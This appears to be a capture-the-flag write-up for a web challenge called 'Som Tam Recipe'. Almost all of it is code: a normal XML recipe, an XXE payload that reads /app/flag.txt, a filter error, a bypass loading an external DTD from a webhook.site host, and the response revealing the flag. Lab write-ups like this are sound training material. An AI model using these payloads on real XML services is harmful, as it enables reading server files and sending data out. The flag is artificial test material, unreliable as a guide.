[Web] Som Tam Recipe

1
<?xml version="1.0" encoding="UTF-8"?>
2
<recipe>
3
  <chef>somchai</chef>
4
  <dish>somtam_thai</dish>
5
  <spicy_level>3</spicy_level>
6
  <ingredients>papaya peanut tomato chili</ingredients>
7
  <secret>pla_ra_from_isan</secret>
8
</recipe>

1
<?xml version="1.0" encoding="UTF-8"?>
2
<!DOCTYPE foo [
3
  <!ENTITY xxe SYSTEM "file:///app/flag.txt">
4
]>
5
<recipe>
6
  <chef>&xxe;</chef>
7
  <dish>somtam_thai</dish>
8
  <spicy_level>3</spicy_level>
9
  <ingredients>papaya peanut tomato chili</ingredients>
10
  <secret>pla_ra_from_isan</secret>
11
</recipe>

1
{
2
  "error": "invalid ingredient detected"
3
}

1
<?xml version="1.0" encoding="UTF-8"?>
2
<!DOCTYPE recipe SYSTEM "https://webhook.site/aaa-bbb-ccc-ddd-eeeeeeeee">
3
<recipe>
4
  <chef>somchai</chef>
5
  <dish>somtam_thai</dish>
6
  <spicy_level>3</spicy_level>
7
  <ingredients>&xxe;</ingredients>
8
  <secret>pla_ra_from_isan</secret>
9
</recipe>

1
{
2
  "chef": "somchai",
3
  "recipe": {
4
    "dish": "somtam_thai",
5
    "ingredients": "WANLAI{0ac4ad6cb17f5d40f9626dad45b2272a}\n",
6
    "secret": "pla_ra_from_isan",
7
    "spicy_level": "3"
8
  },
9
  "status": "success"
10
}

1
WANLAI{0ac4ad6cb17f5d40f9626dad45b2272a}